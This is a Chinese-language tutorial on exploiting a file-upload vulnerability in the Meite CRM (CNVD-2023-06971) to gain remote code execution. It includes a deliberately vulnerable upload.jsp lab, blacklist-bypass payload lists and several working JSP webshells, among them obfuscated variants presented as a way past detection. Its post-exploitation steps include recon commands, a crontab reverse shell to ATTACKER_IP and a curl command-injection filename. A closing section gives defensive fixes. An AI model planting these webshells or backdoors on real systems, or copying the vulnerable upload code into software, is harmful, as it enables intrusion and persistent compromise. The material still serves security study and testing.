文件上传漏洞原理与实战:从黑名单绕过到JSP WebShell的RCE利用

文件上传漏洞原理与实战:从黑名单绕过到JSP WebShell的RCE利用

1. 项目概述与漏洞背景

最近在梳理一些历史漏洞案例时,我重新审视了CNVD-2023-06971这个编号。这是一个关于“美特CRM”系统的文件上传漏洞,最终导致了远程代码执行。对于从事企业应用安全测试或红队评估的同行来说,这类在老旧但广泛部署的业务系统中发现的漏洞,其现实危害性往往比那些在最新框架上发现的0day更大。因为这些系统一旦上线,可能数年都不会更新,成为了内网中沉默的“定时炸弹”。这个漏洞的利用链非常经典:一个未授权或弱权限的文件上传点,结合一个已知的服务器特性或解析漏洞,就能轻松获取服务器权限。复现它不仅能帮助我们理解漏洞原理,更重要的是掌握在真实环境中发现和利用此类问题的通用方法论。无论你是安全研究员、渗透测试工程师,还是负责企业自身业务系统安全的开发运维人员,理解这个案例都能让你对“文件上传”这个老生常谈但永不过时的漏洞类型有更深刻的认识。

“美特CRM”作为一个客户关系管理系统,其核心功能之一就是处理销售线索、客户合同、产品资料等各类文件。因此,系统内必然存在大量的文件上传与下载模块。upload.jsp这个路径名就非常直白地指向了上传功能。问题往往就出在,开发者在实现这些业务功能时,只考虑了“能用”,而忽略了“安全”。他们可能只在前端用JavaScript做了简单的文件类型校验,或者在后端虽然做了检查,但校验逻辑可以被绕过。更危险的是,如果上传后的文件存储路径、文件名可以被预测或访问,并且服务器(如老版本的Tomcat、WebLogic等)存在将特定后缀文件(如.jsp.jspx)当作动态脚本解析的配置,那么一个普通的文件上传功能就会瞬间变成通往服务器最高权限的“任意门”。接下来,我将带你从环境搭建开始,一步步拆解这个漏洞的成因、利用条件、复现过程,并分享我在多次类似测试中积累的实战技巧和避坑指南。

2. 漏洞原理深度解析

2.1 文件上传漏洞的通用成因

要理解这个特定漏洞,我们必须先吃透文件上传漏洞的通用原理。一个安全的文件上传功能,应该像机场安检一样,进行多道、异构的检查。而存在漏洞的上传功能,往往在以下一个或多个环节出现了疏漏:

  1. 前端校验形同虚设:这是最低级的错误。仅依靠HTML的accept属性或JavaScript检查文件后缀。攻击者只需拦截HTTP请求(用Burp Suite等工具),修改Content-Type或文件名,即可轻松绕过。在实际测试中,我几乎不会把前端校验当作任何有效的防护,它只是用户体验的一部分。
  2. 后端校验逻辑缺陷:这是漏洞的高发区。常见的缺陷包括:
    • 黑名单绕过:服务端禁止上传.jsp,.php,.asp等后缀。但攻击者可以尝试.jspx,.jsp.(末尾空格),.jsp%20(URL编码空格),.jsp::$DATA(NTFS流),或者在Apache环境下,.php.jpg(如果服务器配置了AddType application/x-httpd-php .jpg)都可能被成功解析。
    • 内容类型(Content-Type)校验不严:只检查HTTP头中的Content-Type是否为image/jpegimage/png等。攻击者在上传恶意脚本时,只需将请求头中的Content-Type改为image/jpeg即可绕过。
    • 文件内容检查被绕过:通过检查文件幻数(Magic Number)来判断是否为图片,例如JPEG文件开头是FF D8 FF E0。但攻击者可以在一个正常的图片文件末尾追加恶意代码(制作图片马),或者利用某些图像处理库的解析特性(如图像渲染时执行嵌入的代码)来绕过。
    • 解析漏洞:这是最危险的一种。服务器自身的缺陷导致本应作为静态文件处理的文件被解析执行。例如,IIS 6.0的目录解析漏洞(/test.asp/test.jpg会被当作ASP执行)、Apache的CVE-2017-15715(换行符解析漏洞)、Nginx的CVE-2013-4547(畸形路径解析漏洞)等。
  3. 存储路径与访问控制问题:即使文件被安全地检查并存储,如果其存储路径和文件名是可预测的,并且该目录有执行脚本的权限,攻击者就能直接访问上传的WebShell。例如,系统将文件存储在/uploads/20240515/目录下,并按时间戳命名,攻击者很容易构造出完整的访问URL。

2.2 美特CRM upload.jsp漏洞具体分析

结合CNVD-2023-06971的公开信息及对同类CRM系统的代码审计经验,我们可以推断“美特CRM”的upload.jsp漏洞很可能是上述多种问题的组合拳。其核心利用路径推测如下:

  1. 未授权或弱权限访问/xxx/upload.jsp这个接口可能未进行有效的会话验证或权限校验,允许任意用户访问。或者,它关联了一个低权限角色(如“普通员工”)即可访问的功能模块。
  2. 后缀过滤黑名单被绕过:该JSP文件可能对上传文件的后缀进行了黑名单过滤,但过滤不全。例如,它可能只过滤了.jsp,但忽略了.jspx.jspf等同样可以被Tomcat等JSP容器解析的后缀。甚至,它可能只是简单检查文件名中是否包含“.jsp”字符串,那么使用大小写混合(如.JsP)或双后缀(如shell.jsp.jpg,如果服务器错误地取第一个点之后的内容作为后缀)就可能绕过。
  3. 内容检查缺失或可被绕过:该接口可能主要用于上传图片、文档等,但后端没有对文件内容进行有效的二进制检查,或者检查逻辑存在缺陷,允许在图片文件中嵌入恶意JSP代码。
  4. 存储路径可预测且具有执行权限:上传后的文件被保存到一个固定的、可通过Web直接访问的目录下,例如/webapps/ROOT/uploads/。更致命的是,这个目录在Tomcat等应用服务器中默认就具备执行JSP脚本的权限。攻击者一旦上传成功,就能直接通过浏览器访问这个JSP WebShell,从而执行任意系统命令。

注意:在真实环境中,很多老旧系统的上传功能会与富文本编辑器(如UEditor、KindEditor)或特定的业务插件绑定。这些组件往往有自己独立的上传处理逻辑,并且历史版本中存在大量已知漏洞。测试时,要重点关注/ueditor/,/kindeditor/,/editor/等目录下的*.jsp*.asp文件。

2.3 RCE(远程代码执行)的实现

文件上传漏洞本身可能只导致“任意文件写入”。要实现RCE,还需要一个关键条件:服务器能够将我们上传的文件内容当作代码来解析执行

对于JSP环境,这意味着我们上传的文件后缀必须是.jsp,.jspx,.jspf等,或者服务器存在解析漏洞,将其他后缀(如.jpg.jsp)也当作JSP处理。上传的文件内容是一段JSP WebShell代码。最经典、最通用的一段代码如下:

<%@ page import="java.util.*,java.io.*"%> <% if (request.getParameter("cmd") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>

这段代码通过JSP的内置对象request获取一个名为cmd的参数,然后通过Runtime.getRuntime().exec()方法在服务器上执行该命令,并将命令执行结果输出到网页上。例如,上传成功后访问http://target.com/uploads/shell.jsp?cmd=whoami,页面上就会显示当前Web服务运行的用户身份。

3. 漏洞复现环境搭建与准备

3.1 实验环境规划

为了安全、可控地复现这个漏洞,我们需要在本地搭建一个模拟环境。不建议直接在网上搜索并下载可能存在后门的“美特CRM”安装包。我们可以采用一种更安全、更灵活的方式:使用一个存在类似漏洞的JSP Web应用作为靶场

我推荐使用vulhubDVWA(Damn Vulnerable Web Application)的高难度文件上传关卡,或者专门找一些历史上有文件上传漏洞的JSP开源项目。这里,为了更贴近“美特CRM”的JSP环境,我们可以自己快速构建一个存在漏洞的简易JSP上传页面。

环境组件:

  • 操作系统:Kali Linux 或 Windows 10/11。我习惯用Kali,因为工具链齐全。
  • Java运行环境:JDK 8(很多老旧CRM系统兼容JDK 8)。使用命令java -version确认。
  • Web服务器:Apache Tomcat 8.5.x。这是最常用的JSP/Servlet容器,且其默认配置适合复现此类漏洞。
  • 漏洞演示应用:我们将手动编写一个存在漏洞的upload.jsp和一个用于上传的HTML页面。
  • 攻击机工具:Burp Suite Community/Professional(必备)、浏览器(Chrome/Firefox)、中国菜刀或蚁剑(WebShell管理工具,可选,用于演示后果)。

3.2 搭建存在漏洞的JSP应用

首先,安装并启动Tomcat。在Kali上,可以使用apt install tomcat9(版本可能较高,但原理相通)。安装后,Tomcat的web应用默认部署在/var/lib/tomcat9/webapps/ROOT/

我们在这个ROOT目录下创建一个存在漏洞的上传页面。

  1. 创建上传表单页面(index.html):

    sudo nano /var/lib/tomcat9/webapps/ROOT/upload.html

    内容如下:

    <!DOCTYPE html> <html> <head> <title>漏洞演示 - 文件上传</title> </head> <body> <h2>员工资料上传处(模拟美特CRM界面)</h2> <form action="upload.jsp" method="post" enctype="multipart/form-data"> 选择文件:<input type="file" name="file"><br><br> <input type="submit" value="上传"> </form> <p><i>提示:仅支持上传图片文件(.jpg, .png)</i></p> </body> </html>

    这个页面模拟了一个简单的上传界面,并提示“仅支持图片”,这是典型的前端暗示。

  2. 创建存在漏洞的JSP处理页面(upload.jsp):

    sudo nano /var/lib/tomcat9/webapps/ROOT/upload.jsp

    内容如下(这是一个故意写得不安全的JSP):

    <%@ page import="java.io.*, java.util.*, javax.servlet.*, javax.servlet.http.*" %> <%@ page import="org.apache.commons.fileupload.*, org.apache.commons.fileupload.disk.*, org.apache.commons.fileupload.servlet.*" %> <% // 模拟漏洞:1. 无权限校验 2. 黑名单过滤不全 String uploadPath = application.getRealPath("/") + "uploads"; File uploadDir = new File(uploadPath); if (!uploadDir.exists()) { uploadDir.mkdir(); } // 使用Apache Commons FileUpload处理上传 DiskFileItemFactory factory = new DiskFileItemFactory(); ServletFileUpload upload = new ServletFileUpload(factory); List<FileItem> items = upload.parseRequest(request); String fileName = null; for (FileItem item : items) { if (!item.isFormField()) { // 是文件字段 fileName = new File(item.getName()).getName(); // 漏洞点:简单的黑名单过滤,且只检查小写! String[] blackList = {".jsp", ".php", ".asp"}; boolean isAllowed = true; for (String badExt : blackList) { if (fileName.toLowerCase().endsWith(badExt)) { isAllowed = false; out.println("<h3>禁止上传脚本文件!</h3>"); break; } } if (isAllowed) { // 漏洞点:存储路径在Web可访问目录下,且未重命名 String filePath = uploadPath + File.separator + fileName; File storeFile = new File(filePath); item.write(storeFile); out.println("<h3>文件上传成功!</h3>"); out.println("文件路径: <a href='uploads/" + fileName + "'>" + filePath + "</a>"); } } } %>

    代码漏洞分析

    • String[] blackList = {“.jsp”, “.php”, “.asp”};:黑名单仅包含三种后缀,且检查时用了toLowerCase()。这意味着.JSP(大写)或.jspx(不在名单内)会被放过。
    • String filePath = uploadPath + File.separator + fileName;:直接使用用户上传时的原始文件名,未进行重命名(如改为时间戳+随机数),导致文件路径可预测。
    • 上传目录uploads直接在Web根目录下,可通过浏览器直接访问。
  3. 创建上传目录并调整权限

    sudo mkdir /var/lib/tomcat9/webapps/ROOT/uploads sudo chown tomcat:tomcat /var/lib/tomcat9/webapps/ROOT/uploads sudo systemctl restart tomcat9

    确保Tomcat服务用户(通常是tomcat)对该目录有写权限。

  4. 访问测试页面: 打开浏览器,访问http://your-kali-ip:8080/upload.html。你应该能看到一个简单的上传表单。至此,漏洞环境搭建完成。

4. 漏洞利用与复现实操

环境准备好后,我们开始扮演攻击者的角色,一步步利用这个漏洞。

4.1 信息收集与初步探测

首先,通过浏览器直接访问http://your-kali-ip:8080/upload.jsp。如果页面没有报错,甚至能显示(即使显示空白或错误信息),都说明这个接口是存在的。如果返回403或404,则需要结合其他信息(如爬虫、目录扫描)来寻找真实路径。在我们的模拟环境中,它是直接可访问的。

使用Burp Suite抓取通过upload.html表单上传一个正常图片的请求,观察请求格式、参数名和响应。这能帮助我们理解后端处理逻辑。

4.2 绕过黑名单过滤

根据我们编写的漏洞代码,黑名单只检查.jsp,.php,.asp的小写形式。我们可以尝试多种绕过方式:

  1. 大小写绕过:将WebShell文件命名为shell.JSPshell.Jsp
  2. 补充后缀绕过:尝试.jspx.jspf(JSP Fragment)。这些也是有效的JSP文件后缀,但不在黑名单中。
  3. 双写后缀/特殊符号:尝试shell.jsp.jpg。如果后端逻辑是取最后一个点之后的后缀,它会被认为是.jpg而通过检查。但Tomcat默认可能根据web.xml中的映射,仍然将.jsp.jpg当作JSP解析吗?不一定,这需要服务器有错误配置。更常见的是利用操作系统特性,如Windows下的shell.jsp.(末尾空格)或shell.jsp::$DATA
  4. 修改Content-Type:即使文件名是shell.jsp,我们也可以在Burp Suite中将请求头中的Content-Typeapplication/x-jsp(假设)修改为image/jpeg,如果后端只检查Content-Type,则可能绕过。

实操步骤

  • 准备一个简单的JSP WebShell,内容如前文所述,保存为shell.jspx(使用.jspx后缀绕过)。
  • 在浏览器中打开upload.html,选择shell.jspx文件,点击上传前,先打开Burp Suite的代理并开启拦截。
  • 点击上传,Burp Suite会拦截到POST请求。
  • 在Burp Suite的Proxy -> Intercept标签页中,你可以看到原始的请求。不要做任何修改,直接点击“Forward”。目的是先看看原始请求是否会被后端拒绝。
  • 观察返回结果。在我们的模拟漏洞中,由于黑名单没有.jspx,所以应该会返回“文件上传成功!”并给出链接。

4.3 验证上传与执行

如果上传成功,页面会返回类似文件路径: uploads/shell.jspx的链接。直接点击这个链接,或者在浏览器地址栏输入http://your-kali-ip:8080/uploads/shell.jspx

如果页面空白(没有报404或403),说明文件被成功访问,且没有语法错误。此时,尝试在URL后添加参数来执行命令:http://your-kali-ip:8080/uploads/shell.jspx?cmd=whoami

  • 成功情况:页面上会显示执行命令的用户,例如tomcatwww-data。这标志着RCE漏洞复现成功!
  • 失败情况
    • 返回404:文件不存在。检查上传路径是否正确,文件名是否在传输过程中被修改。
    • 返回403:目录没有执行权限。虽然Tomcat的webapps/ROOT下默认有执行权限,但某些安全配置或特定目录可能被限制了。尝试上传到其他已知的可执行目录。
    • 返回500内部服务器错误:JSP代码有语法错误,或者服务器不支持某些语法(如使用了高版本JDK的特性)。检查WebShell代码的兼容性。
    • 命令执行了但无回显:可能是Runtime.exec()的执行环境问题,或者输出流被重定向。可以尝试执行一个能产生明显外部效应的命令,如ping -c 1 your-attacker-ip(如果服务器能出网),然后在攻击机上用tcpdumpwireshark抓包看是否有ICMP请求。

4.4 利用Burp Suite进行自动化探测

手动测试效率低。我们可以利用Burp Suite的Intruder功能,自动化测试各种绕过Payload。

  1. 抓取一个正常的上传请求,发送到Intruder(快捷键Ctrl+I)。
  2. 设置攻击位置:通常需要标记两个位置:文件名(在Content-Disposition头中)和文件扩展名(在请求体中和文件名中)。例如,将filename=”test.jpg”中的testjpg分别标记。
  3. 配置Payload
    • 对于文件名部分,可以加载一个字典,包含常见的WebShell文件名,如shellcmdpass等。
    • 对于扩展名部分,加载一个包含各种绕过后缀的字典,例如:
      jsp JSP Jsp jspx jspf jsp. jsp%20 jsp::$DATA jsp.jpg jsp;.jpg
  4. 开始攻击:观察不同Payload组合的响应。通过响应长度、状态码和内容,可以快速识别出哪些组合上传成功。例如,响应中包含“上传成功”字样的,就是成功的Payload。

实操心得:在真实测试中,时间有限,我通常会优先测试.jspx.jsp.(空格)、.jsp%20.jsp::$DATA以及大小写变种。如果系统是Java的,.jspx.jspf成功率相对较高。另外,不要忽略PUT方法。如果服务器配置了不当的PUT方法处理(如某些版本的Tomcat默认开启PUT),可以直接通过PUT请求上传文件,这甚至可能绕过所有JSP层面的过滤。

5. 漏洞深度利用与后渗透

成功上传WebShell并执行命令只是第一步。一个专业的渗透测试需要评估漏洞的实际危害深度。

5.1 WebShell的选择与免杀

上面演示的JSP WebShell是最基础的,但特征明显,很容易被安全软件或WAF(Web应用防火墙)检测到。我们需要更隐蔽的WebShell。

  1. 自定义编码:对WebShell代码进行Base64、Hex、ROT13等编码,在JSP中动态解码执行。这可以绕过基于简单字符串匹配的WAF规则。

    <%@ page import="sun.misc.BASE64Decoder"%> <% String cls = request.getParameter("pass"); if (cls != null) { new BASE64Decoder().decodeBuffer(cls).getClass().newInstance().equals(pageContext); } %>

    这种WebShell需要配合客户端工具(如中国蚁剑、冰蝎)使用,它们会自动生成加密的Payload。其原理是传递一段经过编码的、实现了特定接口的Java类字节码,在服务器端解码并实例化,从而建立加密通信通道。

  2. 利用Java反射:避免直接出现RuntimeProcess等敏感类名。

    <%@page import="java.lang.reflect.Method"%> <%@page import="java.util.Scanner"%> <% String str = request.getParameter("cmd"); if(str != null){ Process p = Runtime.getRuntime().exec(str); Scanner sc = new Scanner(p.getInputStream()).useDelimiter("\\A"); out.print(sc.hasNext() ? sc.next() : ""); } %>

    这段代码虽然还是用了Runtime,但结构上略有变化,有时能绕过简单的正则匹配。

我的经验是:对于内部测试,基础WebShell足够。但对于有WAF的环境,建议直接使用成熟的工具如冰蝎(Behinder)哥斯拉(Godzilla)的JSP型Payload。它们通信全程加密,流量特征难以识别,且功能强大(文件管理、数据库连接、内网代理等)。

5.2 权限提升与持久化

通过WebShell执行命令,我们获得的权限通常是Tomcat服务进程的权限(如tomcat用户)。这个用户权限可能有限。

  1. 信息收集

    • whoami/id:查看当前用户。
    • uname -a:查看系统内核版本。
    • cat /etc/passwd:查看系统用户。
    • env:查看环境变量。
    • sudo -l:如果当前用户有sudo权限,查看可以无需密码执行哪些命令。
    • find / -perm -4000 -type f 2>/dev/null:查找SUID权限的文件,可能存在利用点。
    • ps aux:查看运行的服务和进程,寻找其他高权限服务或配置不当的软件。
  2. 尝试提权

    • 根据内核版本搜索公开的本地提权Exp。
    • 检查是否有弱密码或明文密码存储在配置文件中(如/var/lib/tomcat9/conf/tomcat-users.xmlwebapps/manager/WEB-INF/web.xml等)。
    • 利用Tomcat Manager应用:如果/manager/html可以访问,并且有弱密码(默认密码可能是tomcat:tomcatadmin:admin),可以直接部署WAR包形式的WebShell,获得更稳定的后门。
  3. 持久化后门

    • 写入计划任务echo “* * * * * /bin/bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1” | crontab -(反弹Shell)。
    • 写入SSH密钥:如果tomcat用户有家目录且.ssh目录可写,可以写入公钥实现免密登录。
    • 部署WAR包后门:通过Tomcat Manager直接部署一个包含JSP WebShell的WAR应用,比单个JSP文件更隐蔽。
    • 修改现有JSP文件:在某个不常被访问的合法JSP页面中插入一行WebShell代码,比上传新文件更不易被发现。

6. 防御方案与修复建议

从开发和安全运维两个角度,我们可以这样防御此类漏洞:

6.1 开发层面(根本解决)

  1. 使用成熟框架的文件上传组件:如Spring MVC的MultipartFile,并配合其安全配置。避免自己手动解析multipart/form-data请求。
  2. 白名单校验:这是最有效的方法。只允许上传业务必需的文件类型,如只允许.jpg,.jpeg,.png,.pdf,.docx。校验应在服务端进行,并且要同时校验文件后缀文件内容类型(Magic Number)
    // 示例:Spring Boot中结合白名单和内容检查 private static final List<String> ALLOWED_EXTENSIONS = Arrays.asList(“jpg”, “jpeg”, “png”, “pdf”); private static final Map<String, String> ALLOWED_MIME_TYPES = new HashMap<>(); static { ALLOWED_MIME_TYPES.put(“jpg”, “image/jpeg”); ALLOWED_MIME_TYPES.put(“png”, “image/png”); // ... } public boolean isFileSafe(MultipartFile file) { String originalFilename = file.getOriginalFilename(); String extension = getFileExtension(originalFilename).toLowerCase(); // 1. 后缀白名单 if (!ALLOWED_EXTENSIONS.contains(extension)) { return false; } // 2. 内容类型校验(使用Tika等库检测真实MIME类型) String detectedMimeType = tika.detect(file.getBytes()); if (!ALLOWED_MIME_TYPES.get(extension).equalsIgnoreCase(detectedMimeType)) { return false; } // 3. 可选:文件头魔数校验 return true; }
  3. 重命名文件:上传后,使用不可预测的名称保存文件,如UUID + 白名单后缀。避免使用用户上传的原文件名。同时,将文件存储在Web根目录之外,或配置该目录不可执行脚本。
    String savedFileName = UUID.randomUUID().toString() + “.” + extension; Path savePath = Paths.get(“/opt/app/upload/”, savedFileName); // Web目录之外 Files.copy(file.getInputStream(), savePath, StandardCopyOption.REPLACE_EXISTING); // 数据库中记录 savedFileName 与 originalFilename 的映射
  4. 限制文件大小和数量:防止DoS攻击。
  5. 对图片进行二次处理(压缩、裁剪):对于图片文件,使用ImageIO等库进行读取和再输出,可以有效破坏可能隐藏在图片中的恶意代码。

6.2 运维与配置层面

  1. 容器安全配置
    • 在Tomcat的conf/web.xml中,为上传目录配置<security-constraint>,禁止执行JSP。
    <!-- 禁止uploads目录执行JSP --> <security-constraint> <web-resource-collection> <web-resource-name>Uploads Dir</web-resource-name> <url-pattern>/uploads/*</url-pattern> </web-resource-collection> <auth-constraint> <!-- 可以设置为空,表示所有人都受此限制 --> </auth-constraint> </security-constraint>
    • 或者,直接将上传目录放到WEB-INF下,该目录下的文件无法通过URL直接访问,只能通过Servlet进行转发下载。
  2. 部署WAF:在应用前端部署Web应用防火墙,可以拦截常见的文件上传攻击Payload。
  3. 定期安全扫描与更新:对线上系统进行定期的漏洞扫描和代码审计。及时更新中间件(如Tomcat)和依赖库(如Apache Commons FileUpload)到最新版本。
  4. 最小权限原则:运行Tomcat的账户应使用非root、低权限的专用用户。并严格限制其文件系统访问权限。

6.3 应急响应

如果已经发生入侵,应立刻:

  1. 隔离系统:将受影响的服务器从网络中断开。
  2. 排查后门:根据访问日志定位异常访问IP和时间,查找所有可疑的JSP、JSPX文件,特别是近期创建或修改的。检查计划任务、SSH授权密钥、启动项等。
  3. 修复漏洞:根据上述方案修复文件上传漏洞。
  4. 恢复与验证:从干净的备份恢复被篡改的文件,或重装系统。修复后,进行完整的渗透测试验证漏洞是否真正被堵上。

7. 实战排查技巧与常见问题

在多年的渗透测试中,我遇到过各种奇怪的情况。这里分享一些排查技巧和常见问题的解决方法。

问题1:上传成功,但访问WebShell时返回404或403。

  • 排查思路
    • 路径问题:确认你访问的URL是否和服务器返回的路径完全一致。注意相对路径和绝对路径。有时返回的路径是服务器绝对路径(如/var/www/uploads/shell.jsp),你需要将其转换为URL路径(/uploads/shell.jsp)。
    • 权限问题:Web服务器进程(如tomcat用户)对上传的文件是否有读权限?对所在目录是否有执行权限(对于JSP目录需要执行权限)?使用WebShell执行ls -la /path/to/uploads/查看文件权限。
    • 容器映射问题:某些应用服务器或配置下,uploads目录可能没有被映射为一个Web上下文。尝试访问http://target/appcontext/uploads/shell.jsp

问题2:上传成功,访问时返回500错误,提示JSP编译错误。

  • 排查思路
    • 语法错误:检查你的WebShell代码是否有拼写错误,特别是分号、括号。确保代码兼容目标服务器的JDK版本(例如,不要在JDK 6环境下使用JDK 8的语法)。
    • 类缺失:你的WebShell代码中引用了不存在的类或第三方库。使用最通用、最基础的JSP内置对象和Java标准库类。
    • 字符编码问题:文件上传过程中,中文字符或特殊字符可能导致代码损坏。尽量使用纯英文、无特殊字符的代码。

问题3:命令执行了,但没有任何回显。

  • 排查思路
    • 输出流问题Runtime.exec()执行某些命令时,输出可能不在标准输出(stdout),而在错误输出(stderr)。你需要同时读取两个流。改进的WebShell代码:
      <% Process p = Runtime.getRuntime().exec(request.getParameter(“cmd”)); BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream())); String s; while ((s = stdInput.readLine()) != null) { out.println(s); } while ((s = stdError.readLine()) != null) { out.println(“[ERROR] “ + s); } %>
    • 无回显命令:执行了像pingsleep这样的命令,本身没有控制台输出。尝试执行idwhoamils等。
    • 防火墙/杀软拦截:某些命令(如net user)可能被主机安全软件拦截。尝试执行无害的命令如echo test123

问题4:如何判断上传点是否存在?

  • 盲测法:如果页面没有明确的错误回显,可以尝试上传一个超大的文件(超过服务器配置限制),看是否会返回“文件过大”的错误。如果有,说明上传功能是激活的。
  • 时间延迟法:上传一个内容非常大的文件(如100MB),观察服务器响应时间。如果明显变长,说明文件被接收并处理了。
  • DNS/HTTP外带法:如果怀疑存在漏洞但无回显,可以尝试让服务器访问一个由你控制的域名或URL。例如,在文件名中插入||curl http://your-collaborator-domain.com(如果服务器是Linux且命令拼接成功)。或者上传一个包含<img src=”http://your-domain.com/xx">的SVG文件,如果服务器会解析SVG,就可能发起请求。

问题5:在真实黑盒测试中,如何高效发现此类漏洞?

  1. 目录扫描与爬虫:使用gobusterdirsearch等工具,搭配/uploads/,/upload/,/file/,/images/等常见上传目录字典进行扫描。同时用爬虫(如Burp Suite’s Spider)爬取所有表单。
  2. FUZZ测试:对所有发现的上传表单或疑似上传的API端点,使用Burp Suite的Intruder或ffuf等工具,对参数名(如file,fileUpload,file_data)、路径(如/upload.jsp,/upload.do,/fileUpload.action)进行FUZZ。
  3. 关注特定组件:重点测试已知存在漏洞的编辑器或组件,如UEditorKindEditorCKFinder的旧版本。它们的上传接口路径往往是固定的。
  4. 参数污染与请求方法变换:尝试将POST改为PUT(如果服务器支持)。尝试在参数中添加多个filename字段,或者使用数组形式(filename[]),观察服务器如何处理。

文件上传漏洞的攻防是一场持续的战斗。作为防御方,必须采取纵深防御的策略,从代码开发、框架选型、服务器配置到运行时监控,层层设防。作为攻击方,则需要不断更新绕过技巧,理解每一层防御的原理,才能找到那条隐蔽的攻击路径。复现CNVD-2023-06971这样的历史漏洞,正是我们积累这种攻防经验的最佳途径。每一次成功的复现和深入的原理分析,都让我们在未来的实战中多一份把握。